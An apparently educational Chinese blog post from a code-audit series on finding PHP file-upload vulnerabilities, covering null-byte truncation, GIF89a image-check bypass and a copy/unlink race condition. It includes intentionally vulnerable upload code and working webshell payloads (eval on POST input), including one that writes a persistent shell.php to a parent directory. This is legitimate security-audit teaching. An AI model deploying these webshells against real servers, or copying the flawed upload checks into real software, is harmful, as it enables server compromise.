0x00 前言:
接上篇白帽子分享之代码审计的艺术系列 第七篇提到了一个上传漏洞搜索和挖掘的简单案例。 文件上传漏洞是一种非常常见的漏洞类型,也是直接获取服务器权限最直接的方式,所以快速发掘一套源码文件上传漏洞进行getshell
是这篇要讨论的,主要分为危险函数、上传技巧和条件竞争漏洞三方面展开。
0x01 危险函数:
move_uploaded_file()
getimagesize()
copy()
0x02 文件上传漏洞的脑图:
0x03 上传技巧 :
PHP
%00
截断
截断条件:
1)PHP
版本小于5.3.4
,详情请查看 [CVE-2006-7243]
2)magic_quotes_gpc=Off
,否则%00
这种空字符会被转义为\0
搭建好满足上面两个条件的测试环境后,可以用下面的漏洞代码来测试:
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
</head>
<html>
<body>
<h2>文件上传漏洞测试</h2>
<form action="" method="post" enctype="multipart/form-data">
<label>文件:</label>
<input type="file" name="file">
<input type="submit" value="submit" name="upload">
</form>
</body>
</html>
<?php
error_reporting(0);
header( 'Content-Type:text/html;charset=utf-8 ');
if(isset($_POST['upload']))
{
$ext_arr=array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
$_file_ext=substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);//获取后缀名
if (in_array($_file_ext,$ext_arr)) {
$tempFile=$_FILES['file']['tmp_name'];
$targetPath=$_SERVER['DOCUMENT_ROOT']."/".$_REQUEST['vul'].".".$_file_ext;
echo $targetPath;
if(move_uploaded_file($tempFile,$targetPath))
{
echo '上传成功'.'<br />';
echo '路径:'.$targetPath;
}else{
echo "上传失败";
}
}else{
echo "上传失败";
}
}
?>
成功截断上传获取webshell
文件头Content-type
绕过
通过将上传文件里面加上”GIF89a
“后进行上传在一定环境下可以绕过图片文件检测后getshell
,原因是使用了类似getimagesize()
这种函数对上传文件是否是图片进行判断,我们可以用如下代码进行测试:
缺陷代码:
<?php
var_dump(getimagesize("x.php"));
?>
x.php
的内容:
GIF89a
<?php eval($_POST['test']);?>
测试发现加上GIF89a
头后该函数会判断为x.php
为图片文件
0x04 条件竞争漏洞 :
缺陷代码:
<?php
$path=$_GET['p'];
copy("image.jpg",$path);
//真实环境里会对目录下非jpg的文件进行删除,这里为了说明问题简单化处理
unlink($path);
?>
意思是利用copy
函数将上传的图片image.jpg
复制到$path
里,然后删除目录下非jpg
的文件,所以正常的攻击流程:
上传图片image.jpg
–>利用copy
函数生成shell.php
–>shell.php
被删。
shell
被删就鸡肋了~
那么换个Hacker
的思路:
上传头像–>生成临时文件(tmp.php
)–>不断请求在上层目录生成shell.php
文件–>删除当前目录下tmp.php
等非jpg
文件,但留下了上层目录下的shell.php
文件–>成功!
所以image.jpg
的代码如下:
<?php fputs(fopen('../shell.php','w'),'<?php @eval($_POST[cmd])?>'); ?>
用burp
进行测试,一个执行缺陷代码不断生成tmp.php
如下:
一个不断访问tmp.php
从而可以在上级目录下生成shell.php
如下:
爆破一会儿就发现在主目录下写下shell.php
了~
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章